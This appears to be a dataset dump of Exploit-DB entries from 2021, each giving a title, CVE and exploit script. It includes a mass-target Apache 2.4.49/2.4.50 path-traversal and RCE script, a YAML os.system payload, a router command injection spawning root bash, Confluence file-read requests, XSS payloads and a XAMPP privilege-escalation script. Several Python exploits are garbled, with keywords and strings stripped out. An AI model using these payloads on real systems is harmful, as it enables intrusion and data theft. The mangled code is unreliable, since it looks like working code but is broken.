QLWD/code_shield huggingface dataset:
标题: Apache HTTP Server 2.4.50 - Path Traversal & Remote Code Execution (RCE) EDB-ID: 50406 CVE: 2021-42013 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2021-10-13 漏洞利用脚本: # Exploit: Apache HTTP Server 2.4.50 - Path Traversal & Remote Code Execution (RCE)
# Date: 10/05/2021
# Exploit Author: Lucas Souza https://lsass.io
# Vendor Homepage:  https://apache.org/
# Version: 2.4.50
# Tested on: 2.4.50
# CVE : CVE-2021-42013
# Credits: Ash Daulton and the cPanel Security Team

#!/bin/bash

if [[ $1 == '' ]]; [[ $2 == '' ]]; then
echo Set [TAGET-LIST.TXT] [PATH] [COMMAND]
echo ./PoC.sh targets.txt /etc/passwd
echo ./PoC.sh targets.txt /bin/sh id

exit
fi
for host in $(cat $1); do
echo $host
curl -s --path-as-is -d "echo Content-Type: text/plain; echo; $3" "$host/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/$2"; done

# PoC.sh targets.txt /etc/passwd
# PoC.sh targets.txt /bin/sh whoami URL: https://www.exploit-db.com/exploits/50406
标题: Keycloak 12.0.1 - 'request_uri ' Blind Server-Side Request Forgery (SSRF) (Unauthenticated) EDB-ID: 50405 CVE: 2020-10770 类型: WEBAPPS 平台: JAVA 发布日期: 2021-10-13 漏洞利用脚本: # Exploit Title: Keycloak 12.0.1 - 'request_uri ' Blind Server-Side Request Forgery (SSRF) (Unauthenticated)
# Date: 2021-10-09
# Exploit Author: Mayank Deshmukh
# Vendor Homepage: https://www.keycloak.org/
# Software Link: https://www.keycloak.org/archive/downloads-12.0.1.html
# Version: versions < 12.0.2
# Tested on: Kali Linux
# CVE : CVE-2020-10770

#!/usr/bin/env python3

import argparse, textwrap
 requests
 sys

parser  argparseArgumentParserdescription formatter_classargparseRawTextHelpFormatter 
epilogtextwrapdedent                     

parseradd_argument  
args  parserparse_args

 sysargv  
     f          
    sysexit  


Host  argsurl

r  requestssession

 
    headerscontent  
              
                     
    hook  
    
    _req  rgetf headers  headerscontent
     

 __name__  

     
        
         ssrf  
             
    
     Exception  ex URL: https://www.exploit-db.com/exploits/50405
标题: Maian-Cart 3.8 - Remote Code Execution (RCE) (Unauthenticated) EDB-ID: 50394 CVE: 2021-32172 类型: WEBAPPS 平台: PHP 发布日期: 2021-10-08 漏洞利用脚本: # Exploit title: Maian-Cart 3.8 - Remote Code Execution (RCE) (Unauthenticated)
# Date: 27.11.2020 19:35
# Tested on: Ubuntu 20.04 LTS
# Exploit Author(s): DreyAnd, purpl3
# Software Link: https://www.maiancart.com/download.html
# Vendor homepage: https://www.maianscriptworld.co.uk/
# Version: Maian Cart 3.8
# CVE: CVE-2021-32172

#!/usr/bin/python3

import argparse
import requests
from bs4 import BeautifulSoup
 sys
 json
 time

parser  argparseArgumentParser
parseradd_argument 
parseradd_argument "default  starting directory of the
maiancart instance sometimes  placed at cart  maiancart"
args  parserparse_args



host  sysargv
directory  sysargv



 flush
timesleep


    r  requestsgetf
    rtext
       rtext
        
    
        

 requestsexceptionsRequestException
    "\91mThere was a connection issue Check  you're
connected to wifi   the host  correct\00m"



timesleep

file_response  rtext
soup  BeautifulSoupfile_response
site_jsonjsonloadssouptext
hash_id  hget  h  site_json
file_id   hash_idreplace replace 


  file_id  






timesleep

headers  
     
      
      
      
      
      
      


data  f


    write  requestspostf
headersheaders datadata
    writetext
 requestsexceptionsRequestException
    "\91mThere was a connection issue Check  you're
connected to wifi   the host  correct\00m"






timesleep

exec_host  f

f"\92mGetting a shell To stop it press CTRL  C Browser
url hostdirectoryproductdownloadsshellphp?cmd\00m"
timesleep

 
     
        execute  
        e  requestsgetf
        etext

    
         __name__  
            main
    
        exit  

         exit    exit 
            
            remove 
requestsgetf
              removetext 
            
            sysexit
        
            main URL: https://www.exploit-db.com/exploits/50394
标题: Apache HTTP Server 2.4.49 - Path Traversal & Remote Code Execution (RCE) EDB-ID: 50383 CVE: 2021-41773 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2021-10-06 漏洞利用脚本: # Exploit Title: Apache HTTP Server 2.4.49 - Path Traversal & Remote Code Execution (RCE)
# Date: 10/05/2021
# Exploit Author: Lucas Souza https://lsass.io
# Vendor Homepage:  https://apache.org/
# Version: 2.4.49
# Tested on: 2.4.49
# CVE : CVE-2021-41773
# Credits: Ash Daulton and the cPanel Security Team

#!/bin/bash

if [[ $1 == '' ]]; [[ $2 == '' ]]; then
echo Set [TAGET-LIST.TXT] [PATH] [COMMAND]
echo ./PoC.sh targets.txt /etc/passwd
exit
fi
for host in $(cat $1); do
echo $host
curl -s --path-as-is -d "echo Content-Type: text/plain; echo; $3" "$host/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e$2"; done

# PoC.sh targets.txt /etc/passwd
# PoC.sh targets.txt /bin/sh whoami URL: https://www.exploit-db.com/exploits/50383
标题: Google SLO-Generator 2.0.0 - Code Execution EDB-ID: 50385 CVE: 2021-22557 类型: LOCAL 平台: LINUX 发布日期: 2021-10-07 漏洞利用脚本: # Exploit Title: Google SLO-Generator 2.0.0 - Code Execution
# Date: 2021-09-28
# Exploit Author: Kiran Ghimire
# Software Link: https://github.com/google/slo-generator/releases
# Version: <= 2.0.0
# Tested on: Linux
# CVE: CVE-2021-22557

##############################################################################

*Introduction*:
Is a tool to compute and export Service Level Objectives (SLOs), Error
Budgets and Burn Rates, using configurations written in YAML (or JSON)
format.

##############################################################################

*POC:*
1. pip3 install slo-generator==2.0.0
2. 2. Save the below yaml code in a file as exploit.yaml.
   !!python/object/apply:os.system ["id;whoami"]
3.  Run the below command
   slo-generator migrate -b exploit.yaml
############################################################################## URL: https://www.exploit-db.com/exploits/50385
标题: Wordpress Plugin BulletProof Security 5.1 - Sensitive Information Disclosure EDB-ID: 50382 CVE: 2021-39327 类型: WEBAPPS 平台: PHP 发布日期: 2021-10-06 漏洞利用脚本: # Exploit Title: Wordpress Plugin BulletProof Security 5.1 - Sensitive Information Disclosure
# Date 04.10.2021
# Exploit Author: Ron Jost (Hacker5preme)
# Vendor Homepage: https://forum.ait-pro.com/read-me-first/
# Software Link: https://downloads.wordpress.org/plugin/bulletproof-security.5.1.zip
# Version: <= 5.1
# Tested on: Ubuntu 18.04
# CVE: CVE-2021-39327
# CWE: CWE-200
# Documentation: https://github.com/Hacker5preme/Exploits/blob/main/Wordpress/CVE-2021-39327/README.md


'''
Description:
The BulletProof Security WordPress plugin is vulnerable to sensitive information disclosure due to a file path disclosure in the publicly accessible 
~/db_backup_log.txt file which grants attackers the full path of the site, in addition to the path of database backup files. 
This affects versions up to, and including, 5.1.
'''


banner  
banner


 argparse 
 requests


my_parser  argparseArgumentParserdescription
my_parseradd_argument  
my_parseradd_argument  
my_parseradd_argument  
args  my_parserparse_args
target_ip  argsIP
target_port  argsPORT
wp_path  argsPATH




paths    


 pathadd  paths
    x  requestsget  target_ip    target_port    wp_path  pathadd
    xtext URL: https://www.exploit-db.com/exploits/50382
标题: Atlassian Confluence 7.12.2 - Pre-Authorization Arbitrary File Read EDB-ID: 50377 CVE: 2021-26085 类型: WEBAPPS 平台: JAVA 发布日期: 2021-10-05 漏洞利用脚本: # Exploit Title: Atlassian Confluence 7.12.2 - Pre-Authorization Arbitrary File Read
# Date: 2021-10-05
# Exploit Author: Mayank Deshmukh
# Vendor Homepage: https://www.atlassian.com/
# Software Link: https://www.atlassian.com/software/confluence/download-archives
# Version: version < 7.4.10 and 7.5.0 ≤ version < 7.12.3
# Tested on: Kali Linux & Windows 10
# CVE : CVE-2021-26085

POC #1 - web.xml

GET /s/123cfx/_/;/WEB-INF/web.xml HTTP/1.1
Host: 127.0.0.1:8090
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

POC #2 - seraph-config.xml

GET /s/123cfx/_/;/WEB-INF/classes/seraph-config.xml HTTP/1.1
Host: 127.0.0.1:8090
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

POC #3 - pom.properties

GET /s/123cfx/_/;/META-INF/maven/com.atlassian.confluence/confluence-webapp/pom.properties HTTP/1.1
Host: 127.0.0.1:8090
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

POC #4 - pom.xml

GET /s/123cfx/_/;/META-INF/maven/com.atlassian.confluence/confluence-webapp/pom.xml HTTP/1.1
Host: 127.0.0.1:8090
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close URL: https://www.exploit-db.com/exploits/50377
标题: Payara Micro Community 5.2021.6 - Directory Traversal EDB-ID: 50371 CVE: 2021-41381 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2021-10-04 漏洞利用脚本: # Exploit Title: Payara Micro Community 5.2021.6 - Directory Traversal
# Date: 01/10/2021
# Exploit Author: Yasser Khan (N3T_hunt3r)
# Vendor Homepage: https://docs.payara.fish/community/docs/release-notes/release-notes-2021-6.html
# Software Link: https://www.payara.fish/downloads/payara-platform-community-edition/#x
# Version: Payara Micro Community 5.2021.6
# Tested on: Linux/Windows OS
# CVE : CVE-2021-41381

https://nvd.nist.gov/vuln/detail/CVE-2021-41381

Proof of Concept:

Step1: Open the browser check the version of the payara software

Step2: Add this Path at end of the URL
/.//WEB-INF/classes/META-INF/microprofile-config.properties

Step3: Check the response with match containing
"payara.security.openid.default.providerURI="

"payara.security.openid.sessionScopedConfiguration=true"

Step4 : If any of these contents in the response then the application is vulnerable to Directory Traversal Vulnerability.

Step5: Alternatively we can use CURL by using this command:

Request:
curl --path-as-is http://localhost:8080/.//WEB-INF/classes/META-INF/microprofile-config.properties

Reference:

https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2021-054.txt
https://docs.payara.fish/community/docs/release-notes/release-notes-2021-6.html
https://nvd.nist.gov/vuln/detail/CVE-2021-41381 URL: https://www.exploit-db.com/exploits/50371
标题: Mitrastar GPT-2541GNAC-N1 - Privilege escalation EDB-ID: 50351 CVE: 2021-42165 类型: REMOTE 平台: HARDWARE 发布日期: 2021-09-29 漏洞利用脚本: # Exploit Title: Mitrastar GPT-2541GNAC-N1 - Privilege escalation
# Date: 10-08-2021
# Exploit Author: Leonardo Nicolas Servalli
# Vendor Homepage: www.mitrastar.com
# Platform: Mistrastar router devices GPT-2541GNAC-N1 (HGU)
# Tested on: Firmware BR_g3.5_100VNZ0b33
# Vulnerability analysis: https://github.com/leoservalli/Privilege-escalation-MitraStar/blob/main/README.md

Description:

----------

# Mitrastar GPT-2541GNAC-N1 devices are provided with access through ssh into a restricted default shell (credentials are on the back of the router and in some cases this routers use default credentials).

# The command “deviceinfo show file <path>” is used from reduced CLI to show files and directories. Because this command do not handle correctly special characters, is possible to insert a second command as a parameter on the <path> value. By using “&&/bin/bash” as parameter value we can spawn a bash console, as seen on the next example:


Exploit:
--------

> deviceinfo show file &&/bin/bash

# This command will spawn a full interoperable bash console with root privileges. URL: https://www.exploit-db.com/exploits/50351
标题: WordPress Plugin Redirect 404 to Parent 1.3.0 - Reflected Cross-Site Scripting EDB-ID: 50350 CVE: 2021-24286 类型: WEBAPPS 平台: PHP 发布日期: 2021-09-29 漏洞利用脚本: # Exploit Title: WordPress Plugin Redirect 404 to Parent 1.3.0 - Reflected Cross-Site Scripting (XSS)
# Date: 2/3/2021
# Author: 0xB9
# Software Link: https://downloads.wordpress.org/plugin/redirect-404-to-parent.1.3.0.zip
# Version: 1.3.0
# Tested on: Windows 10
# CVE: CVE-2021-24286

1. Description:
This plugin redirects any 404 request to the parent URL. The tab parameter in the Admin Panel is vulnerable to XSS.

2. Proof of Concept:
wp-admin/options-general.php?page=moove-redirect-settings&tab="+style=animation-name:rotation+onanimationstart="alert(/XSS/); URL: https://www.exploit-db.com/exploits/50350
标题: WordPress Plugin Select All Categories and Taxonomies 1.3.1 - Reflected Cross-Site Scripting (XSS) EDB-ID: 50349 CVE: 2021-24287 类型: WEBAPPS 平台: PHP 发布日期: 2021-09-29 漏洞利用脚本: # Exploit Title: WordPress Plugin Select All Categories and Taxonomies 1.3.1 - Reflected Cross-Site Scripting (XSS)
# Date: 2/15/2021
# Author: 0xB9
# Software Link: https://downloads.wordpress.org/plugin/select-all-categories-and-taxonomies-change-checkbox-to-radio-buttons.1.3.1.zip
# Version: 1.3.1
# Tested on: Windows 10
# CVE: CVE-2021-24287

1. Description:
The tab parameter in the Admin Panel is vulnerable to XSS.

2. Proof of Concept:
wp-admin/options-general.php?page=moove-taxonomy-settings&tab="+style=animation-name:rotation+onanimationstart="alert(/XSS/); URL: https://www.exploit-db.com/exploits/50349
标题: WordPress Plugin Ultimate Maps 1.2.4 - Reflected Cross-Site Scripting (XSS) EDB-ID: 50345 CVE: 2021-24274 类型: WEBAPPS 平台: PHP 发布日期: 2021-09-28 漏洞利用脚本: # Exploit Title: WordPress Plugin Ultimate Maps 1.2.4 - Reflected Cross-Site Scripting (XSS)
# Date: 3/28/2021
# Author: 0xB9
# Software Link: https://wordpress.org/plugins/ultimate-maps-by-supsystic/
# Version: 1.2.4
# Tested on: Windows 10
# CVE: CVE-2021-24274

1. Description:
The plugin did not sanitize the tab parameter of its options page before outputting it in an attribute, leading to a reflected Cross-Site Scripting issue

2. Proof of Concept:
/wp-admin/admin.php?page=ultimate-maps-supsystic&tab="+style=animation-name:rotation+onanimationstart=alert(/XSS/)// URL: https://www.exploit-db.com/exploits/50345
标题: WordPress Plugin Contact Form 1.7.14 - Reflected Cross-Site Scripting (XSS) EDB-ID: 50344 CVE: 2021-24276 类型: WEBAPPS 平台: PHP 发布日期: 2021-09-28 漏洞利用脚本: # Exploit Title: WordPress Plugin Contact Form 1.7.14 - Reflected Cross-Site Scripting (XSS)
# Date: 3/28/2021
# Author: 0xB9
# Software Link: https://wordpress.org/plugins/contact-form-by-supsystic/
# Version: 1.7.14
# Tested on: Windows 10
# CVE: CVE-2021-24276

1. Description:
The Contact Form by Supsystic WordPress plugin before 1.7.15 did not sanitise the tab parameter of its options page before outputting it in an attribute, leading to a reflected Cross-Site Scripting issue

2. Proof of Concept:
/wp-admin/admin.php?page=contact-form-supsystic&tab="+style=animation-name:rotation+onanimationstart=alert(/XSS/)// URL: https://www.exploit-db.com/exploits/50344
标题: WordPress Plugin Popup 1.10.4 - Reflected Cross-Site Scripting (XSS) EDB-ID: 50346 CVE: 2021-24275 类型: WEBAPPS 平台: PHP 发布日期: 2021-09-28 漏洞利用脚本: # Exploit Title: WordPress Plugin Popup 1.10.4 - Reflected Cross-Site Scripting (XSS)
# Date: 3/28/2021
# Author: 0xB9
# Software Link: https://wordpress.org/plugins/popup-by-supsystic/
# Version: 1.10.4
# Tested on: Windows 10
# CVE: CVE-2021-24275

1. Description:
The plugin did not sanitize the tab parameter of its options page before outputting it in an attribute, leading to a reflected Cross-Site Scripting issue

2. Proof of Concept:
/wp-admin/admin.php?page=popup-wp-supsystic&tab="+style=animation-name:rotation+onanimationstart=alert(/XSS/)// URL: https://www.exploit-db.com/exploits/50346
标题: WordPress Plugin TranslatePress 2.0.8 - Stored Cross-Site Scripting (XSS) (Authenticated) EDB-ID: 50343 CVE: 2021-24610 类型: WEBAPPS 平台: PHP 发布日期: 2021-09-28 漏洞利用脚本: # Exploit Title: WordPress Plugin TranslatePress 2.0.8 - Stored Cross-Site Scripting (XSS) (Authenticated)
# Date: 06-08-2021
# Exploit Author: Nosa Shandy (Apapedulimu)
# Vendor Homepage: https://translatepress.com/
# Software Link: https://wordpress.org/plugins/translatepress-multilingual/ 
# Reference: https://wpscan.com/vulnerability/b87fcc2f-c2eb-4e23-9757-d1c590f26d3f
# Version: 2.0.6 
# Tested on: macOS 11.4
# CVE : CVE-2021-24610

Description:
The plugin does not implement a proper filter on the 'translated' parameter when input to the database. The 'trp_sanitize_string' function only check the "<script></script>" with the preg_replace, the attacker can use the HTML Tag to execute javascript.

Step To Reproduce:
1. Go to http://localhost:8888/wordpress/?trp-edit-translation=true
2. Input Gettext String
3. Input the payload such as <img src=x onerror=alert(4)>
4. Save, The payload will be executed.
5. Look on the homepage will be affected.

Video : https://drive.google.com/file/d/1PnvjHuKCvjmom6xz_sxNLBu3jixCiHy_/view?usp=sharing URL: https://www.exploit-db.com/exploits/50343
标题: XAMPP 7.4.3 - Local Privilege Escalation EDB-ID: 50337 CVE: 2020-11107 类型: LOCAL 平台: WINDOWS 发布日期: 2021-09-27 漏洞利用脚本: # Exploit Title: XAMPP 7.4.3 - Local Privilege Escalation
# Exploit Author: Salman Asad (@deathflash1411) a.k.a LeoBreaker
# Original Author: Maximilian Barz (@S1lkys)
# Date: 27/09/2021
# Vendor Homepage: https://www.apachefriends.org
# Version: XAMPP < 7.2.29, 7.3.x < 7.3.16 & 7.4.x < 7.4.4
# Tested on: Windows 10 + XAMPP 7.3.10
# References: https://github.com/S1lkys/CVE-2020-11107

$file = "C:\xampp\xampp-control.ini"
$find = ((Get-Content $file)[2] -Split "=")[1]
# Insert your payload path here
$replace = "C:\temp\msf.exe"
(Get-Content $file) -replace $find, $replace | Set-Content $file URL: https://www.exploit-db.com/exploits/50337
标题: WordPress Plugin Fitness Calculators 1.9.5 - Cross-Site Request Forgery (CSRF) EDB-ID: 50325 CVE: 2021-24272 类型: WEBAPPS 平台: PHP 发布日期: 2021-09-23 漏洞利用脚本: # Exploit Title: WordPress Plugin Fitness Calculators 1.9.5 - Cross-Site Request Forgery (CSRF)
# Date: 2/28/2021
# Author: 0xB9
# Software Link: https://wordpress.org/plugins/fitness-calculators/
# Version: 1.9.5
# Tested on: Windows 10
# CVE: CVE-2021-24272

1. Description:
The plugin add calculators for Water intake, BMI calculator, protein Intake, and Body Fat and was lacking CSRF check, allowing attackers to make logged in users perform unwanted actions, such as change the calculator headers. 
Due to the lack of sanitisation, this could also lead to a Stored Cross-Site Scripting issue

2. Proof of Concept: URL: https://www.exploit-db.com/exploits/50325
标题: WordPress Plugin Advanced Order Export For WooCommerce 3.1.7 - Reflected Cross-Site Scripting (XSS) EDB-ID: 50324 CVE: 2021-24169 类型: WEBAPPS 平台: PHP 发布日期: 2021-09-23 漏洞利用脚本: # Exploit Title: WordPress Plugin Advanced Order Export For WooCommerce 3.1.7 - Reflected Cross-Site Scripting (XSS)
# Date: 15/2/2021
# Author: 0xB9
# Software Link: https://wordpress.org/plugins/woo-order-export-lite/
# Version: 3.1.7
# Tested on: Windows 10
# CVE: CVE-2021-24169

1. Description:
This plugin helps you to easily export WooCommerce order data. The tab parameter in the Admin Panel is vulnerable to XSS.

2. Proof of Concept:
wp-admin/admin.php?page=wc-order-export&tab=</script><script>alert(1)</script> URL: https://www.exploit-db.com/exploits/50324
标题: Cloudron 6.2 - 'returnTo ' Cross Site Scripting (Reflected) EDB-ID: 50317 CVE: 2021-40868 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2021-09-22 漏洞利用脚本: # Exploit Title: Cloudron 6.2 - 'returnTo ' Cross Site Scripting (Reflected)
# Date: 10.06.2021
# Exploit Author: Akıner Kısa
# Vendor Homepage: https://cloudron.io
# Software Link: https://www.cloudron.io/get.html
# Version: 6.3 >
# CVE : CVE-2021-40868


Proof of Concept:

1. Go to https://localhost/login.html?returnTo=
2. Type your payload after returnTo=
3. Fill in the login information and press the sign in button. URL: https://www.exploit-db.com/exploits/50317
标题: OpenCats 0.9.4-2 - 'docx ' XML External Entity Injection (XXE) EDB-ID: 50316 CVE: 2019-13358 类型: WEBAPPS 平台: PHP 发布日期: 2021-09-22 漏洞利用脚本: # Exploit Title: OpenCats 0.9.4-2 - 'docx ' XML External Entity Injection (XXE) 
# Date: 2021-09-20
# Exploit Author: Jake Ruston
# Vendor Homepage: https://opencats.org
# Software Link: https://github.com/opencats/OpenCATS/releases/download/0.9.4-2/opencats-0.9.4-2-full.zip
# Version: < 0.9.4-3
# Tested on: Linux
# CVE: 2019-13358

from argparse import ArgumentParser
from docx import Document
from zipfile import ZipFile
from base64 import b64decode
 requests
 re

xml  

 
     self
        selfargs  selfparse_arguments

     self
        parser  ArgumentParser

        required  parseradd_argument_group
        requiredadd_argument  required
        requiredadd_argument  required

        args  parserparse_args

          argsurlstartswith
            argsurl  f

        argsurl  f

         args

     self
        document  Document
        documentadd_paragraph
        documentsave

     self
         ZipFile   resume
            resumeextractall

            document
            documentwritexmlselfargsstrip

         ZipFile   resume
            resumewrite

     self
        params       

        
            request  requestsgetselfargsurl paramsparams
         Exception  e

             Exception e

          researchr requesttext

           
             Exception

         group

     self 
        params       
        files  
              
              
              
              
              
              
              
              
              
              
              
              
              
              
              
              
              
              
              
        

        
            request  requestspostselfargsurl paramsparams filesfiles
         Exception  e
             Exception e

        start  requesttextfind
        end  requesttextfind

          requesttextstart  endstrip

        
              b64decode
              decodestrip
        
             Exception

        

     self
        selfcreate_resume
        selfupdate_resume

          selfget
        selfpost

CVE_2019_13358run URL: https://www.exploit-db.com/exploits/50316